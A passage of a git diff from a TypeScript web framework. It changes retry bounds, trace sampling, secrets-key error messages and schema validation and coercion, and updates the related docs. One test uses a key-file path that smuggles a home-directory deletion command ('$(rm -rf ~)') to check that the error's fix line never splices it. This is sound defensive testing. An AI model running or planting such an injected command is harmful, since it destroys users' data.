policy.attempts); const classification = classifyThrown(error); const stop = (stoppedBy: RetryStopReason): RetryDecision => ({ retry: false, @@ -74,7 +78,7 @@ export function retryDecision( }); if (classification === 'terminal') return stop('terminal'); - if (attempt >= policy.attempts) return stop('attempts-exhausted'); + if (attempt >= attempts) return stop('attempts-exhausted'); const computed = backoffDelay({ attempt, @@ -111,6 +115,16 @@ export async function retry( policy: RetryPolicy, deps: RetryDeps, ): Promise { + // Both bounds are refused BEFORE the first try: a policy that cannot stop the loop is a defect in + // the call, and running the work once first would report it as the work's own failure. + // `finiteOption` for the budget, not `finiteCount`: it is a duration a caller computes from a + // monotonic clock, so a fraction is real and a spent (negative) one means "do not wait at all". + // Zero stays legal and means what it always did — one try, no retry (`retry.test.ts` pins it). + finiteCount('a retry policy', 'attempts', policy.attempts); + const budget = + policy.timeBudgetMs === undefined + ? undefined + : finiteOption('a retry policy', 'timeBudgetMs', policy.timeBudgetMs); const now = deps.now ?? ((): number => systemClock.monotonic()); // Read once even when no budget is set: a clock call per attempt would be a cost the common case // does not owe. `startedAt` is only compared against when `timeBudgetMs` is present. @@ -122,7 +136,6 @@ export async function retry( } catch (error) { const decision = retryDecision(policy, attempt, error, deps.random); if (!decision.retry) throw error; - const budget = policy.timeBudgetMs; // Decided BEFORE the wait, never after: a loop that sleeps and then discovers it is out of // budget has already spent the caller's deadline on a wait nobody could use. if (budget !== undefined && now() - startedAt + decision.delayMs > budget) throw error; diff --git a/packages/core/src/sampler.test.ts b/packages/core/src/sampler.test.ts index 75d0b9b5f..17f501545 100644 --- a/packages/core/src/sampler.test.ts +++ b/packages/core/src/sampler.test.ts @@ -139,3 +139,25 @@ describe('ratioSampler is deterministic per trace id', () => { ); }); }); + +describe('samplerFromEnv · parentbased_always_on is its own sampler', () => { + test('a leftover ratio arg does not thin a sampler that takes no arg', () => { + // It shared the ratio branch, so `OTEL_TRACES_SAMPLER_ARG=0.1` left over from an earlier + // `traceidratio` rollout sampled ~10% of roots under a setting that says ALWAYS. + const sampler = samplerFromEnv({ + [OTEL_SAMPLER_KEY]: 'parentbased_always_on', + [OTEL_SAMPLER_ARG_KEY]: '0', + }); + expect(sampler.shouldSample('root', undefined, {}, TRACE_A)).toBe(true); + // Still parent-based: an upstream's do-not-sample is honoured. + expect(sampler.shouldSample('child', parent(0), {}, TRACE_A)).toBe(false); + }); + + test('parentbased_traceidratio still reads the arg', () => { + const sampler = samplerFromEnv({ + [OTEL_SAMPLER_KEY]: 'parentbased_traceidratio', + [OTEL_SAMPLER_ARG_KEY]: '0', + }); + expect(sampler.shouldSample('root', undefined, {}, TRACE_A)).toBe(false); + }); +}); diff --git a/packages/core/src/sampler.ts b/packages/core/src/sampler.ts index 128f31d7b..89595b6fe 100644 --- a/packages/core/src/sampler.ts +++ b/packages/core/src/sampler.ts @@ -136,9 +136,13 @@ export function samplerFromEnv( return ratioSampler(ratio); case 'parentbased_always_off': return parentBasedRatioSampler(0); + case 'parentbased_always_on': + // Its own case because it takes NO arg: sharing the ratio branch let a leftover + // `OTEL_TRACES_SAMPLER_ARG=0.1` thin the roots of a sampler whose name says always. + return parentBasedRatioSampler(1); default: - // `parentbased_always_on`, `parentbased_traceidratio` and the unset case are one sampler: - // honour the parent, else the ratio — which is 1 when nothing set an arg. + // `parentbased_traceidratio` and the unset case are one sampler: honour the parent, else + // the ratio — which is 1 when nothing set an arg. return parentBasedRatioSampler(ratio); } } diff --git a/packages/core/src/secrets-errors.test.ts b/packages/core/src/secrets-errors.test.ts index 4894a66e2..445d5be84 100644 --- a/packages/core/src/secrets-errors.test.ts +++ b/packages/core/src/secrets-errors.test.ts @@ -101,12 +101,33 @@ describe('the three git checkout lines', () => { describe('X_SECRETS_KEY_INVALID', () => { const shape = { at: 'ULTIMATE_SECRETS_KEY', found: 3, expected: 64 }; - test('the current key keeps its shipped line', () => { + test('a bad key in the VARIABLE is repaired by exporting the file again', () => { + // `$(…)` strips the newline `writeMasterKeyFile` ends the file with, so the comment may not + // claim the file has none — an operator who checks with `wc -c` reads 65 and distrusts it. expect(new SecretsKeyInvalidError(shape).fix).toBe( - 'export ULTIMATE_SECRETS_KEY="$(cat .secrets.key)" # the key file holds the 64 characters verbatim, no newline of its own', + 'export ULTIMATE_SECRETS_KEY="$(cat .secrets.key)" # the key file holds the 64 characters on one line', ); }); + test('a bad key read FROM THE FILE never tells the operator to export that same file', () => { + // The fix was the export line whatever `at` said: the truncated file was read into the + // variable, the same 63 characters were refused again, and the line had been followed exactly. + const error = new SecretsKeyInvalidError({ ...shape, at: '/srv/app/.secrets.key' }); + expect(error.fix).not.toContain('$(cat'); + // ONE runnable command: the measurement that says whether the restored file is whole. + expect(error.fix).toBe( + 'wc -c /srv/app/.secrets.key # 65 is a whole key and its newline; any other count is the truncated or padded file to restore', + ); + // What no command can do is said in the cause, not the fix. + expect(error.cause).toContain('a lost key cannot be recovered'); + }); + + test('a key-file path a shell would read is named by placeholder, never spliced', () => { + const error = new SecretsKeyInvalidError({ ...shape, at: '/srv/$(rm -rf ~)/.secrets.key' }); + expect(error.fix).not.toContain('rm -rf'); + expect(error.fix).toStartWith('wc -c # '); + }); + test('a key read from a ring variable gets a fix that edits THAT variable', () => { const error = new SecretsRingKeyInvalidError({ ...shape, @@ -116,6 +137,9 @@ describe('X_SECRETS_KEY_INVALID', () => { expect(error.code).toBe('X_SECRETS_KEY_INVALID'); expect(error.fix).toStartWith('x secrets edit # ULTIMATE_SECRETS_RETIRED_KEYS holds'); expect(error.fix).not.toContain('export'); + // The ring is a line of the sealed file, so `x secrets edit` is where it is corrected — and + // the real environment wins over that file, which the fix says rather than leaves to be found. + expect(error.fix).toContain('a platform that ALSO sets it wins'); expect(error.cause).toContain('ULTIMATE_SECRETS_RETIRED_KEYS (entry 2)'); }); diff --git a/packages/core/src/secrets-errors.ts b/packages/core/src/secrets-errors.ts index 05baf5c0f..aea6ea550 100644 --- a/packages/core/src/secrets-errors.ts +++ b/packages/core/src/secrets-errors.ts @@ -77,8 +77,19 @@ export class SecretsKeyInvalidError extends UltimateError { constructor(input: { at: string; found: number; expected: number }) { super({ code: 'X_SECRETS_KEY_INVALID', - cause: `the master key in ${input.at} is ${input.found} character(s); an AES-256 key is ${input.expected} lowercase hex characters`, - fix: `export ULTIMATE_SECRETS_KEY="$(cat .secrets.key)" # the key file holds the ${input.expected} characters verbatim, no newline of its own`, + // The lost-key sentence is CAUSE, not fix: a `fix:` is one command, and no command restores + // a key file — so the file branch says what cannot be done here and the fix measures it. + cause: + input.at === 'ULTIMATE_SECRETS_KEY' + ? `the master key in ${input.at} is ${input.found} character(s); an AES-256 key is ${input.expected} lowercase hex characters` + : `the master key in ${input.at} is ${input.found} character(s); an AES-256 key is ${input.expected} lowercase hex characters — the key FILE is what is wrong, so re-exporting it changes nothing: restore it from wherever the team keeps the key, because a lost key cannot be recovered or regenerated`, + // Branches on WHERE the bad key was read. From the variable, re-reading the file repairs + // it. From the FILE, that same line reads the truncated file into the variable and is + // refused again, so the command is the measurement that says when the restore worked. + fix: + input.at === 'ULTIMATE_SECRETS_KEY' + ? `export ULTIMATE_SECRETS_KEY="$(cat .secrets.key)" # the key file holds the ${input.expected} characters on one line` + : `wc -c ${renderFixShellArg(input.at, '')} # ${input.expected + 1} is a whole key and its newline; any other count is the truncated or padded file to restore`, meta: { at: input.at }, }); } @@ -99,7 +110,7 @@ export class SecretsRingKeyInvalidError extends UltimateError { super({ code: 'X_SECRETS_KEY_INVALID', cause: `the master key in ${input.at} is ${input.found} character(s); an AES-256 key is ${input.expected} lowercase hex characters`, - fix: `x secrets edit # ${variable} holds ${input.expected}-character lowercase hex keys separated by commas: correct or remove the entry the cause names`, + fix: `x secrets edit # ${variable} holds ${input.expected}-character lowercase hex keys separated by commas: correct or remove the entry the cause names — the variable is a line of secrets.enc.json, and a platform that ALSO sets it wins, so correct it there too`, meta: { at: input.at }, }); } diff --git a/packages/http/src/error-facts.ts b/packages/http/src/error-facts.ts index 8154781c3..86416c989 100644 --- a/packages/http/src/error-facts.ts +++ b/packages/http/src/error-facts.ts @@ -5,6 +5,7 @@ import { ERROR_DOCS_URL, FRAMEWORK_CODE, + hasPublicCause, isUltimateError, renderCauseValue, singleLine, @@ -13,7 +14,7 @@ import { import type { ValidationIssue } from '@ultimat3/schema'; import { declaredStatusFor, statusFor } from './error-status'; import { HTTP_ERROR_TITLES } from './errors'; -import { hasPublicCause, type ProblemMeta, problemMetaKeysFor, wireMeta } from './problem-meta'; +import { type ProblemMeta, problemMetaKeysFor, wireMeta } from './problem-meta'; /** Everything a renderer (problem+json, overlay, terminal) needs from a throwable. */ export interface ErrorFacts { diff --git a/packages/http/src/problem-meta.ts b/packages/http/src/problem-meta.ts index 1f22a891a..0ffbced76 100644 --- a/packages/http/src/problem-meta.ts +++ b/packages/http/src/problem-meta.ts @@ -12,6 +12,10 @@ // it was. Measured need: an app's `X_SESSION_CHECKOUT_BUSY` carried `{ sessionId, title, state }` // in `meta` and its island recovered the id by running a UUID regex over `cause`. +// The public-cause predicate and both of its tables are `@ultimat3/core`'s (`public-cause.ts`): the +// MCP error data and the agent `tool_result` ask the question this package's problem document +// does. This file only WRITES the app half — a reader imports `hasPublicCause` from core. +import { registerPublicCause, resetPublicCauses } from '@ultimat3/core'; import { ERROR_STATUS } from './error-map'; import { problemMetaInvalid } from './errors'; @@ -47,20 +51,6 @@ const RESERVED_KEYS: ReadonlySet = new Set(['issues', '__proto__']); /** Per app-owned code, the `meta` keys its documents carry. A `Map`, for `APP_ERROR_STATUS`'s reason. */ const DECLARED = new Map(); -/** - * The 5xx codes whose `cause` a caller may read. Every other 5xx document carries the code and the - * request id and a fixed sentence: `X_DB_STATEMENT_FAILED` has a status row, so the old "blank only - * what nobody classified" rule served the Postgres message and the SQL statement in a production - * 500. The framework's four are refusals whose cause IS the instruction — back off, retry. - */ -const FRAMEWORK_PUBLIC_CAUSE: ReadonlySet = new Set([ - 'X_DRAINING', - 'X_OVERLOADED', - 'X_FLIGHT_GATE_OVERLOADED', - 'X_TIMEOUT', -]); -const APP_PUBLIC_CAUSE = new Set(); - /** Per code: the `meta` keys, a public cause, or both. A bare list is the keys alone. */ export type ProblemMetaDeclaration = | readonly string[] @@ -98,7 +88,7 @@ export const registerProblemMeta = ( : ((declaration as { keys?: readonly string[] }).keys ?? []); const publicCause = !listed && (declaration as { publicCause?: boolean }).publicCause === true; if (!listed && keys.length === 0 && publicCause) { - APP_PUBLIC_CAUSE.add(code); + registerPublicCause(code); continue; } if (keys.length === 0) { @@ -122,20 +112,16 @@ export const registerProblemMeta = ( throw problemMetaInvalid(code, `already declared as [${existing.join(', ')}] by this app`); } DECLARED.set(code, [...keys]); - if (publicCause) APP_PUBLIC_CAUSE.add(code); + if (publicCause) registerPublicCause(code); } }; /** Test seam. Production registers once at boot and never unregisters. */ export const resetProblemMeta = (): void => { DECLARED.clear(); - APP_PUBLIC_CAUSE.clear(); + resetPublicCauses(); }; -/** Whether a 5xx document for `code` may carry its authored `cause`. */ -export const hasPublicCause = (code: string): boolean => - FRAMEWORK_PUBLIC_CAUSE.has(code) || APP_PUBLIC_CAUSE.has(code); - /** The keys declared for a code, or `undefined` when nothing was — which is every framework code. */ export const problemMetaKeysFor = (code: string): readonly string[] | undefined => DECLARED.get(code); diff --git a/packages/schema/CLAUDE.md b/packages/schema/CLAUDE.md index d4dd2d579..5b1eb5057 100644 --- a/packages/schema/CLAUDE.md +++ b/packages/schema/CLAUDE.md @@ -5,7 +5,7 @@ Tier 0. **Imports no `@ultimat3/*` package — not even `@ultimat3/core`.** | Rule | | |---|---| | Deps | none (`bun-types` only) | -| Errors | `SchemaError` mirrors `UltimateError` field-for-field **and message-for-message** (`code: title — cause`); keep `Symbol.for('ultimate.error')` | +| Errors | `SchemaError` mirrors `UltimateError` field-for-field **and message-for-message** (`code: title — cause`), `format({ docs })`, `retry` (always `'terminal'`) and a `toJSON().meta` that cannot throw (`render-meta.ts`, core's `renderMetaRecord` restated); keep `Symbol.for('ultimate.error')` | | New validator | add to `validators.ts` **and** `TNamespace` **and** `t.ts` **and** `json-schema.ts` | | IR | every schema carries `.node: SchemaNode`; generators read that, never the closure | | **Issue messages** | the shape of the rejected value, **never its content** — see `describe-value.ts` | @@ -20,7 +20,8 @@ provider → t`. `char-count.ts` is imported by BOTH `validators.ts` (which reje `describe-value.ts` (which renders the length in the same message), because they disagreed: the rule counted code points and the message counted UTF-16 units, so `t.string.min(3)` refused `'👍a'` with "at least 3 chars, received a string of 3 characters". -`standard.ts` and `errors.ts` depend on nothing but each other and `error-codes.ts`, a leaf of +`standard.ts` and `errors.ts` depend on nothing but each other, `render-meta.ts` (which reaches +`describe-value`) and `error-codes.ts`, a leaf of plain data that core imports ALONE so a browser graph never keeps the `SchemaError` classes. `iso-date.ts` imports nothing and is imported by `validators.ts` and `coerce.ts` — the two doors a `t.date` string comes through, so the rule that a clock time must carry an offset or `Z` has one copy, not one per door. @@ -144,7 +145,25 @@ Gotchas: 22.0.0): `'March 14, 2026'`, `'3/14/2026'` and `'12'` all parsed at the host's LOCAL midnight. `iso-date.test.ts` runs the refusal set under two `TZ` values in subprocesses and requires one answer. A number (epoch ms) still passes — it names an instant on every host. -- Adding a `SchemaKind` means updating `json-schema.ts` and `coerce.ts` in the same commit. +- **`isIsoDateTime` checks the day against the month** (`As of 2026-10`): `new Date('2026-02-30')` + answers March 2nd. `DAYS_IN_MONTH` restates `daysInMonth` in `packages/time/src/plain-date.ts` + (tier 0 cannot import `time`); the `CALENDAR_PARITY` table in `iso-date.test.ts` and its twin in + `packages/time/src/plain-date.test.ts` hold them equal — the `time` copy asks BOTH predicates. +- **`t.url` is `isAbsoluteUrl` (`absolute-url.ts`), not bare `URL.canParse`**: input the parser + would strip (edge spaces / C0 controls, any tab or newline) is refused, since the validator + returns the string as written. Not `href === value` — that refuses `https://example.com`. + Non-http schemes still pass; narrowing them is an owner call nobody has made. +- **`isPlainObject` is a PROTOTYPE test** (`Object.prototype` or `null`). A `Map`, a `Date` and a + class instance parsed to `{}`. Cost: an object from another realm is refused too. +- **`.default(v)` runs `v` through the schema at declaration** — `X_SCHEMA_DEFAULT_INVALID`, the + sibling of `X_SCHEMA_DEFAULT_UNSHAREABLE`, whose title (cannot be copied) does not state this. +- **Async is "has a callable `then`"** (`isThenable` in `standard.ts`), never `instanceof Promise`: + a non-native thenable read as a result has no `issues`, so it was a success with no value. +- **`coerceNode` on a union tries every member** and takes the first whose result `fits` + (`node-fits.ts`, one level deep, never validation). A string some member takes as a string is + returned untouched first, so `number | string` never turns `01234` into 1234. Numerics are + decimal only (`DECIMAL`); `Number()` also reads `0x10`. +- Adding a `SchemaKind` means updating `json-schema.ts`, `coerce.ts` and `node-fits.ts` in the same commit. - **`ToJsonSchemaOptions.dialect` is a closed vocabulary read with `Object.hasOwn`** (`As of 2026-09-06`). `DIALECTS[dialect]` on an object literal answered the `Object` FUNCTION for `dialect: 'constructor'` — measured: `$schema` held it, `JSON.stringify` dropped the key in diff --git a/packages/schema/README.md b/packages/schema/README.md index d099acd58..97d726e45 100644 --- a/packages/schema/README.md +++ b/packages/schema/README.md @@ -46,6 +46,15 @@ namespace member (`t.nullable`) and a free function (`nullableSchema`) — symme Unknown object keys are **dropped**, never forwarded — an action cannot be mass-assigned. +Refused at the boundary rather than guessed at (`As of 2026-10`): + +| Schema | Refuses | Because | +|---|---|---| +| `t.date` | a day its month does not have — `2026-02-30`, `2026-04-31`, month `13` | `new Date` rolls it over to March 2nd; `@ultimat3/time`'s `plainDate` already refused it | +| `t.url` | leading / trailing spaces and C0 controls, a tab or newline anywhere | the URL parser strips them in silence and the validator returns the string as written. Trim before parsing | +| `t.object` `t.record` `t.money` | anything whose prototype is not `Object.prototype` or `null` — a `Map`, a `Date`, a class instance | none has the own keys the schema declared, so it parsed to `{}` | +| `.default(v)` | a `v` the schema itself rejects — `X_SCHEMA_DEFAULT_INVALID`, thrown where it is declared | an omitted field parsed to a value the same schema refuses when sent | + Every string-backed schema (`string` `uuid` `email` `url` `timezone` `locale` `slug` `cursor`, with any `.min/.max/.pattern`) and every `t.record` key **refuses U+0000** — the one character Postgres `text` and `jsonb` cannot store, so a NUL that passed reached the row write as a 500. Tabs, newlines @@ -146,8 +155,9 @@ a job boundary the class is gone and the `code` is what survives — match on th | Class | Code | Declared in | |---|---|---| +| `DefaultInvalidError` (extends `SchemaError`) | `X_SCHEMA_DEFAULT_INVALID` | `src/errors.ts` | | `DiscriminantInvalidError` (extends `SchemaError`) | `X_SCHEMA_DISCRIMINANT_INVALID` | `src/errors.ts` | -| `SchemaError` | any schema code; the base of the three that extend it. Extends `Error`, not core's `UltimateError` — schema imports nothing — and carries the same `Symbol.for('ultimate.error')` brand so `isUltimateError` answers `true` | `src/errors.ts` | +| `SchemaError` | any schema code; the base of the four that extend it. Extends `Error`, not core's `UltimateError` — schema imports nothing — and carries the same `Symbol.for('ultimate.error')` brand so `isUltimateError` answers `true` | `src/errors.ts` | | `SchemaUnsupportedError` (extends `SchemaError`) | `X_SCHEMA_UNSUPPORTED` | `src/errors.ts` | | `ValidationFailedError` (extends `SchemaError`) | `X_VALIDATION_FAILED` | `src/errors.ts` | @@ -180,4 +190,8 @@ parse(publishPost, coerceQuery(publishPost, url.searchParams)); Coercion is separate from validation on purpose: only the HTTP layer has strings that mean numbers. `coerceQuery` promotes repeated params to arrays and leaves anything ambiguous -untouched so validation still produces the real error. +untouched so validation still produces the real error. It never invents data: only a **decimal** +numeral becomes a number (`0x10` stays text), only a plain object is read as one (an array is never +spread into `{ 0: … }`), and a union tries **every** member in declaration order — a string some +member already accepts is left alone, and a union of objects coerces through the member whose +literal fields the value carries. diff --git a/packages/schema/src/absolute-url.ts b/packages/schema/src/absolute-url.ts new file mode 100644 index 000000000..1b9672c28 --- /dev/null +++ b/packages/schema/src/absolute-url.ts @@ -0,0 +1,20 @@ +// Single responsibility: the one rule deciding whether a string is an absolute URL `t.url` may +// return as written — parseable, and not a string the parser had to cut before it could read it. + +/** + * What the URL parser DISCARDS before it reads anything: leading and trailing C0 controls and + * spaces, and every tab or newline wherever it sits (WHATWG URL §4.4, the two "validation error" + * strips). `URL.canParse` reports none of it, and this validator returns the string it was given — + * so `' https://a.b'` validated, was stored untrimmed, and rendered into an `href` as a relative + * path. The parsed `href` is only stable for input the parser did not have to cut. + * + * Deliberately NOT `new URL(value).href === value`: that refuses `https://example.com` (the href + * gains a `/`) and any upper-case host, which are the same URL written differently, not a + * different string than the one validated. + */ +// biome-ignore lint/suspicious/noControlCharactersInRegex: the controls are the rule. +const URL_PARSER_STRIPS = /^[\u0000-\u0020]|[\u0000-\u0020]$|[\t\n\r]/; + +export function isAbsoluteUrl(value: string): boolean { + return !URL_PARSER_STRIPS.test(value) && URL.canParse(value); +} diff --git a/packages/schema/src/builder.test.ts b/packages/schema/src/builder.test.ts index 8ddfe2550..24950c462 100644 --- a/packages/schema/src/builder.test.ts +++ b/packages/schema/src/builder.test.ts @@ -4,9 +4,9 @@ // other suite rather than here. Value rendering has its own file: `describe-value.test.ts`. import { describe, expect, test } from 'bun:test'; -import { checkOf, fail, failWith, makeSchema, pass } from './builder'; +import { checkOf, fail, failWith, isPlainObject, makeSchema, pass } from './builder'; import { expected } from './describe-value'; -import { ValidationFailedError } from './errors'; +import { SchemaError, ValidationFailedError } from './errors'; import type { SchemaNode } from './node'; describe('pass', () => { @@ -256,3 +256,78 @@ describe('checkOf', () => { expect(result).toEqual(fail(['root'], 'expected a synchronous schema, received an async one')); }); }); + +describe('checkOf / a thenable is async whatever built it', () => { + test('a non-native thenable is refused, not read as a success', () => { + const thenable = { + // biome-ignore lint/suspicious/noThenProperty: a non-native thenable is the input under test. + then: (resolve: (value: unknown) => void) => resolve({ value: 1 }), + }; + const wrapped = { + ...makeNumberSchema(), + '~standard': { version: 1 as const, vendor: 'fake', validate: () => thenable }, + } as unknown as ReturnType; + expect(checkOf(wrapped)('anything', ['root'])).toEqual( + fail(['root'], 'expected a synchronous schema, received an async one'), + ); + }); +}); + +describe('isPlainObject', () => { + test('a literal and a null-prototype object are plain', () => { + expect(isPlainObject({})).toBe(true); + expect(isPlainObject(Object.create(null))).toBe(true); + }); + + test('anything carrying another prototype is not', () => { + class Row {} + for (const value of [new Map(), new Set(), new Date(0), new Row(), /x/, [], null, 'a', 1]) { + expect(isPlainObject(value)).toBe(false); + } + expect(isPlainObject(Object.create({ inherited: 1 }))).toBe(false); + }); +}); + +describe('.default() runs its fallback through the schema where it is declared', () => { + const atLeastFive = (): ReturnType => + makeSchema({ kind: 'number', minimum: 5 }, (value, path) => + typeof value === 'number' && value >= 5 ? pass(value) : fail(path, 'expected a number >= 5'), + ); + + test('a fallback its own schema refuses throws at declaration', () => { + try { + atLeastFive().default(1); + expect.unreachable('a default the schema refuses must not be declarable'); + } catch (error) { + if (!(error instanceof SchemaError)) throw error; + expect(error.code).toBe('X_SCHEMA_DEFAULT_INVALID'); + expect(error.cause).toContain('expected a number >= 5'); + // Shape, never content: the fallback is not echoed. + expect(error.cause).not.toContain(' 1 '); + } + }); + + test('a fallback that is both refused and uncopyable reports the RULE first', () => { + // The value has to change to satisfy the rule anyway, so naming the clone problem first sends + // the author to fix a copy of something they are about to replace. + const refused = { onMiss: (): number => 1 }; + const declare = (): unknown => atLeastFive().default(refused as unknown as number); + expect(declare).toThrow(/X_SCHEMA_DEFAULT_INVALID/); + }); + + test('a fallback the schema accepts still declares and still parses', () => { + const schema = atLeastFive().default(7); + expect(schema.parse(undefined)).toBe(7); + expect(schema.node.default).toBe(7); + }); + + test('a refinement counts: the fallback has to pass the whole schema', () => { + const even = atLeastFive().refine({ + name: 'even', + message: 'must be even', + check: (value) => value % 2 === 0, + }); + expect(() => even.default(7)).toThrow(/X_SCHEMA_DEFAULT_INVALID/); + expect(even.default(8).parse(undefined)).toBe(8); + }); +}); diff --git a/packages/schema/src/builder.ts b/packages/schema/src/builder.ts index 8fb699fad..5b665e7aa 100644 --- a/packages/schema/src/builder.ts +++ b/packages/schema/src/builder.ts @@ -2,12 +2,19 @@ // that turns a check function plus an IR node into a Standard-Schema-conforming object. import { describeValue } from './describe-value'; -import { SchemaError, ValidationFailedError, type ValidationIssue } from './errors'; +import { + DefaultInvalidError, + SchemaError, + ValidationFailedError, + type ValidationIssue, +} from './errors'; import type { SchemaNode, SchemaRefinement } from './node'; import { + formatIssues, formatPath, type InferInput, type InferOutput, + isThenable, type StandardIssue, type StandardResult, type StandardSchemaV1, @@ -43,9 +50,19 @@ export function failWith(issues: readonly StandardIssue[]): CheckErr { return { ok: false, issues }; } -/** An object with own keys — not null, not an array. The gate every object-ish check opens with. */ +/** + * A record of own keys: an object literal, or a null-prototype one (what this package's own + * object and record parsers answer). The gate every object-ish check opens with. + * + * The PROTOTYPE is the test, not "an object that is not an array": a `Map`, a `Date` and a class + * instance are all that, and each has no own enumerable keys the schema declared — so + * `t.record(t.number)` parsed a `Map` of anything to `{}` and an all-optional `t.object` parsed a + * `Date` to `{}`, a success carrying none of what was sent. + */ export function isPlainObject(value: unknown): value is Record { - return typeof value === 'object' && value !== null && !Array.isArray(value); + if (typeof value !== 'object' || value === null) return false; + const prototype: unknown = Object.getPrototypeOf(value); + return prototype === Object.prototype || prototype === null; } /** @@ -146,6 +163,22 @@ function defaultFactory(fallback: Out): () => Out { return () => structuredClone(fallback); } +/** + * A fallback the schema itself refuses, refused where it is WRITTEN. `t.number.min(5).default(1)` + * parsed an omitted field to 1 — a value the same schema rejects when a caller sends it — and + * published `minimum: 5, default: 1` to every generated client. Wrong for every parse that omits + * the field, so the first import of the authoring file says so, as `defaultFactory` does. + */ +function assertDefaultValid(check: Check, fallback: Out): void { + const result = check(fallback, []); + if (result.ok) return; + throw new DefaultInvalidError({ + // The issue text is the RULE (`describeValue` never echoes content), so quoting it is safe. + cause: `default() received ${describeValue(fallback)}, which this schema refuses — ${formatIssues(result.issues).join('; ')}`, + fix: 'edit the .default(…) named in the stack so its value satisfies the rule quoted in cause, or relax that rule on the schema', + }); +} + /** The default declaration, dropped — for a wrapper that can no longer reach it. */ function withoutDefault(node: SchemaNode): SchemaNode { const { hasDefault: _hasDefault, default: _default, ...rest } = node; @@ -196,6 +229,8 @@ export function makeSchema(node: SchemaNode, check: Check): Schema ); }, default(fallback: Out): Schema { + // Rule before copy: a refused fallback has to be replaced, so its clone problem is moot. + assertDefaultValid(check, fallback); const fresh = defaultFactory(fallback); return makeSchema( // The node keeps the DECLARATION, never a copy: `node.default` is what OpenAPI, the MCP @@ -234,7 +269,7 @@ export function makeSchema(node: SchemaNode, check: Check): Schema export function checkOf(schema: Schema): Check { return (value, path) => { const result = schema['~standard'].validate(value); - if (result instanceof Promise) { + if (isThenable(result)) { return fail(path, 'expected a synchronous schema, received an async one'); } if (result.issues === undefined) return pass(result.value); diff --git a/packages/schema/src/coerce.test.ts b/packages/schema/src/coerce.test.ts index 721b2a193..e3dfd7430 100644 --- a/packages/schema/src/coerce.test.ts +++ b/packages/schema/src/coerce.test.ts @@ -165,3 +165,81 @@ describe('coerceQuery', () => { expect(() => parse(record, coerced)).toThrow(/X_VALIDATION_FAILED/); }); }); + +describe('coerceNode never invents data', () => { + test('an array is not an object: it reaches validation as the array it is', () => { + // `{ ...['x'] }` is `{ 0: 'x' }`, which an all-optional object schema then accepted as `{}`. + const input = t.object({ a: t.number.optional() }); + const coerced = coerceInput(input, ['x'] as unknown as Record); + expect(Array.isArray(coerced)).toBe(true); + expect(validate(input, coerced).issues).toBeDefined(); + expect(coerceNode(input.node, ['x'])).toEqual(['x']); + }); + + test('an array is not a record or a money value either', () => { + expect(coerceNode(t.record(t.number).node, ['1'])).toEqual(['1']); + expect(Array.isArray(coerceNode(t.record(t.number).node, ['1']))).toBe(true); + expect(Array.isArray(coerceNode(t.money.node, ['1']))).toBe(true); + }); + + test('a class instance is not spread into an empty object', () => { + const when = new Date(0); + expect(coerceNode(t.object({ a: t.number.optional() }).node, when)).toBe(when); + const map = new Map([['a', '1']]); + expect(coerceNode(t.record(t.number).node, map)).toBe(map); + }); + + test('only a DECIMAL numeral is a number: hex, octal and binary stay text', () => { + for (const raw of ['0x10', '0b11', '0o17', '0X1F', '1_000', 'Infinity', '1e', '.', '+', '']) { + expect(coerceNode({ kind: 'number' }, raw)).toBe(raw); + expect(coerceNode({ kind: 'literal', literal: 16 }, raw)).toBe(raw); + } + expect(coerceNode(t.money.node, { minor: '0x10', currency: 'EUR' })).toEqual({ + minor: '0x10', + currency: 'EUR', + }); + expect(coerceNode({ kind: 'number' }, '16')).toBe(16); + expect(coerceNode({ kind: 'number' }, '-1.5')).toBe(-1.5); + expect(coerceNode({ kind: 'number' }, '.5')).toBe(0.5); + expect(coerceNode({ kind: 'number' }, '1e3')).toBe(1000); + expect(coerceNode({ kind: 'number' }, ' 12 ')).toBe(12); + }); + + test('every union member is tried, not only the first', () => { + const mixed = t.object({ size: t.union(t.literal('auto'), t.literal(2)) }); + expect(parse(mixed, coerceQuery(mixed, new URLSearchParams('size=2')))).toEqual({ size: 2 }); + expect(parse(mixed, coerceQuery(mixed, new URLSearchParams('size=auto')))).toEqual({ + size: 'auto', + }); + const wide = t.object({ size: t.union(t.literal('auto'), t.number) }); + expect(parse(wide, coerceQuery(wide, new URLSearchParams('size=12')))).toEqual({ size: 12 }); + expect(parse(wide, coerceQuery(wide, new URLSearchParams('size=auto')))).toEqual({ + size: 'auto', + }); + }); + + test('a string a member already accepts is never converted behind its back', () => { + // A postcode: `number | string` must not turn `01234` into 1234. + const node = t.union(t.number, t.string).node; + expect(coerceNode(node, '01234')).toBe('01234'); + expect(coerceNode(t.union(t.literal(1), t.literal(2)).node, 'abc')).toBe('abc'); + }); + + test('a union of objects coerces through the member the value names', () => { + const event = t.discriminatedUnion( + 'kind', + t.object({ kind: t.literal('text'), body: t.string }), + t.object({ kind: t.literal('count'), body: t.number }), + ); + const coerced = coerceNode(event.node, { kind: 'count', body: '5' }); + expect(coerced).toEqual({ kind: 'count', body: 5 }); + expect(parse(event, coerced)).toEqual({ kind: 'count', body: 5 }); + expect(coerceNode(event.node, { kind: 'text', body: '5' })).toEqual({ + kind: 'text', + body: '5', + }); + // No member claims it: untouched, so validation names the real problem. + const stray = { kind: 'other', body: '5' }; + expect(coerceNode(event.node, stray)).toBe(stray); + }); +}); diff --git a/packages/schema/src/coerce.ts b/packages/schema/src/coerce.ts index 270c1fa36..b59e00cda 100644 --- a/packages/schema/src/coerce.ts +++ b/packages/schema/src/coerce.ts @@ -2,16 +2,25 @@ // HTTP layer has strings that "mean" numbers. Actions, jobs and MCP calls receive real JSON and // must never get this leniency. +import { isPlainObject } from './builder'; import { isIsoDateTime } from './iso-date'; import type { SchemaNode } from './node'; +import { fits } from './node-fits'; import { tryIntrospect } from './provider'; const TRUE_VALUES = new Set(['1', 'true', 'yes', 'on']); const FALSE_VALUES = new Set(['0', 'false', 'no', 'off', '']); +/** + * A DECIMAL numeral, and nothing else `Number()` reads: it also takes `0x10`, `0b11` and `0o17`, + * so `?page=0x10` arrived as page 16 — a number the caller never wrote in the only notation a + * query string, a form field and the published `type: number` have in common. + */ +const DECIMAL = /^[+-]?(?:\d+\.?\d*|\.\d+)(?:e[+-]?\d+)?$/i; + /** A numeric string as a number, or `undefined` for anything that is not confidently one. */ function numeric(raw: unknown): number | undefined { - if (typeof raw !== 'string' || raw.trim() === '') return undefined; + if (typeof raw !== 'string' || !DECIMAL.test(raw.trim())) return undefined; const value = Number(raw); return Number.isFinite(value) ? value : undefined; } @@ -38,9 +47,7 @@ export function coerceNode(node: SchemaNode, raw: unknown): unknown { switch (node.kind) { case 'number': { - if (typeof 